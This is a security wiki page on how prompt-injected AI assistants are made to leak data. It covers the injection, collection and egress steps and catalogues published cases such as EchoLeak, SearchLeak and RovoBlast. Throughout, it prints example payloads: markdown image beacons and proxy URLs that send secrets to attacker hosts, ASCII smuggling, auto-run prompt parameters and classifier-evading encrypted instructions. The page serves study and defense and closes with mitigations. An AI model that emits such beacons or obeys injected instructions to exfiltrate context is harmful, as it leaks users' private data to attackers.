# LLM Data Exfiltration > The second half of most prompt-injection chains: once injected instructions have pulled sensitive context into the window, the model is steered to emit it through a channel the attacker can observe. The channel can be a rendered image, a link, a tool call or a side effect. ## How it works A working chain needs three things: 1. **Injection.** Usually [[Indirect Prompt Injection]] via email, document, web page or URL parameter. 2. **Collection.** The model reads more data than the attacker could. Embrace The Red showed injected text telling M365 Copilot to *search for* Slack MFA codes and other emails. This is automatic tool invocation, i.e. request forgery against the RAG/search layer. 3. **Egress.** Something carries the data off the trust boundary. Microsoft's taxonomy of egress channels: | Channel | Mechanism | Interaction | |---|---|---| | HTML / markdown image | `![x](https://attacker/?d=<data>)` or data in a subdomain. The browser auto-fetches it | Zero-click | | Clickable link | Data in the URL, optionally hidden | One click | | Tool call | Model writes to a public repo, sends mail, posts a message | Zero-click if no approval | | Covert channel | An observable side effect of a tool call encodes bits | Zero-click | ## Techniques / payloads - **Markdown image beacon.** Kagi: `![pixel](https://webhook.site/ID?leak=SECRET_CONTEXT)`. The request came from the victim's browser (UA, Referer), so even with no secret it de-anonymises the user's IP. - **Reference-style markdown** evades link redaction that only matches inline `[x](url)`: ``` ![image alt text][ref] [ref]: https://attacker.com/<secret> ``` - **CSP bypass via an allowlisted fetcher.** If `img-src` blocks attacker domains, route through an allowlisted first-party endpoint that fetches arbitrary URLs server-side. Examples: Teams `asyncgw.teams.microsoft.com/urlp/v1/url/content?url=https://attacker/<secret>` ([[EchoLeak]]) and Bing `bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker/<data>/image.png` (SearchLeak). This is an open-proxy / [[Server-Side Request Forgery]] primitive used as an exfil relay. - **Streaming race.** M365 Copilot wrapped output in `<code>` only after generation finished. An `<img>` emitted mid-stream was already in the DOM and its request had left before sanitization. - **ASCII smuggling.** Unicode Tag characters (U+E0000–U+E007F) mirror ASCII but render invisibly. The model stages the stolen data invisibly inside a benign-looking hyperlink, and the user's click sends it. The payload included an in-context example to teach Copilot the encoding. - **Parameter-to-Prompt (P2P).** A URL parameter is auto-submitted as a prompt, so one click on a trusted domain runs attacker instructions with the victim's session: - `m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=<PROMPT>` (SearchLeak) - `?q=<PROMPT>&autorun=1` (Copilot Reprompt; Copilot itself disclosed the `autorun` parameter) - `home.atlassian.com/chat?rovoChatPathway=chat&rovoChatPrompt=<prompt>` (RovoBlast) - **GET-only fetch tools.** Claude's `web_fetch` blocked model-constructed URLs. An attacker site with an alphabetical link tree let the model "navigate" to paths that spelled out the user's name, employer and security answers from memory. - **Self-addressed messages.** Copilot Cowork needs no approval to message the *active user*. A poisoned skill made it post a Teams message holding pre-authenticated SharePoint/OneDrive download links, which exfiltrate when the user opens Teams. - **Encrypted instructions.** Cryptographic Context Injection hides ciphertext plus decryption steps in a page. The agent decrypts it in its Python sandbox, so classifiers never see the plaintext. Output can be re-encrypted to pass output guardrails (Grok zero-click demo). - **Public-repo dump.** The Nx/s1ngularity malware drove local coding agents to inventory secrets, then created `s1ngularity-repository-*` repos under the victim's account and uploaded triple-base64 `results.b64`. - **Trusted-but-expired domains.** ForcedLeak exfiltrated to an Agentforce-allowlisted domain that had lapsed and was re-registered for about $5. ## Notable cases | Case | Vector | Egress | ID | |---|---|---|---| | [[EchoLeak]] (M365 Copilot) | Email, zero-click | Ref-style image via Teams proxy | CVE-2025-32711 | | SearchLeak (M365 Copilot Enterprise) | P2P `q=`, one click | Streaming `<img>` via Bing SSRF | CVE-2026-42824 | | Copilot ASCII smuggling (2024) | Email/doc | Hidden-tag hyperlink | — | | RovoBlast (Atlassian Rovo) | `rovoChatPrompt`, one click | ResearchAgent to the open web | Bugcrowd | | Copilot Cowork | Poisoned skill | Teams self-message with pre-auth links | — | | Kagi Assistant | Summarized page | Unproxied markdown image | — | ## Defenses - Don't render model-authored images or links to arbitrary origins. Proxy images through a first-party camo and strip reference-style markdown. Don't interpret Unicode Tag code points. - Check output deterministically before rendering: block markdown images whose host is not allowlisted or whose URL carries a query string, and plant a canary in the system prompt to catch verbatim leaks (paraphrased leaks evade it) [[raw/karthikupadrasta.medium.com/how-to-prevent-prompt-injection-in-python-llm-apps-6-layers-that-actua-15852|six layers]]. - Apply a strict CSP at the render surface, and audit allowlisted domains for open fetchers or redirects. Sanitize **during** streaming, not after. - Never auto-submit URL parameters as prompts. Require a user gesture. - Gate every outbound tool (mail, chat, HTTP, repo writes) with human approval, including messages to self, and log the full arguments. - Use egress allowlists and continuously check that allowlisted domains are still owned. ## Related - [[AI and LLM Security]] · [[EchoLeak]] · [[Indirect Prompt Injection]] · [[Agentic AI Risks]] · [[Content Security Policy]] · [[SSRF in AI Agents and LLM Tools]] ## Sources - [[raw/arxiv.org/echoleak-first-real-world-zero-click-prompt-injection-exploit-4299|EchoLeak: first real-world zero-click prompt injection exploit (arXiv)]] - [[raw/varonis.com/searchleak-how-we-turned-m365-copilot-into-a-one-click-data-exfiltrati-9315|Varonis — SearchLeak]] - [[raw/embracethered.com/microsoft-copilot-from-prompt-injection-to-exfiltration-of-personal-in-6452|Embrace The Red — Microsoft Copilot: prompt injection to exfiltration]] - [[raw/varonis.com/rovoblast-how-one-click-triggered-atlassian-s-ai-assistant-to-leak-dat-11178|Varonis — RovoBlast]] - [[raw/arstechnica.com/microsoft-copilot-reveals-secret-input-that-allowed-it-to-be-hacked-11537|Ars Technica — Copilot reveals secret autorun input]] - [[raw/promptarmor.com/microsoft-copilot-cowork-exfiltrates-files-12157|PromptArmor — Microsoft Copilot Cowork exfiltrates files]] - [[raw/infosecwriteups.com/zero-click-ip-leak-in-a-privacy-search-engine-indirect-prompt-injectio-8886|Zero-click IP leak in Kagi]] - [[raw/ayush.digital/the-memory-heist-how-i-tricked-claude-into-leaking-your-deepest-darkes-10444|The Memory Heist — leaking Claude memories via web_fetch]] - [[raw/microsoft.com/how-microsoft-defends-against-indirect-prompt-injection-attacks-3952|Microsoft — How Microsoft defends against indirect prompt injection]] - [[raw/securityweek.com/encrypted-prompts-bypass-ai-safety-guardrails-in-grok-and-gemini-11630|SecurityWeek — Encrypted prompts bypass guardrails in Grok and Gemini]] - [[raw/arstechnica.com/grok-exfiltrates-user-data-when-malicious-instructions-are-encrypted-11632|Ars Technica — Grok exfiltrates data via encrypted instructions]] - [[raw/snyk.io/weaponizing-ai-coding-agents-for-malware-in-the-nx-malicious-package-s-9063|Snyk — Weaponizing AI coding agents in the Nx malicious package]] - [[raw/oreilly.com/beyond-prompt-injection-10199|O'Reilly — Beyond Prompt Injection (ForcedLeak)]] - [[raw/developer.nvidia.com/practical-llm-security-advice-from-the-nvidia-ai-red-team-2933|NVIDIA AI Red Team — active content rendering]] - [[raw/karthikupadrasta.medium.com/how-to-prevent-prompt-injection-in-python-llm-apps-6-layers-that-actua-15852|How to Prevent Prompt Injection in Python LLM Apps: 6 Layers]]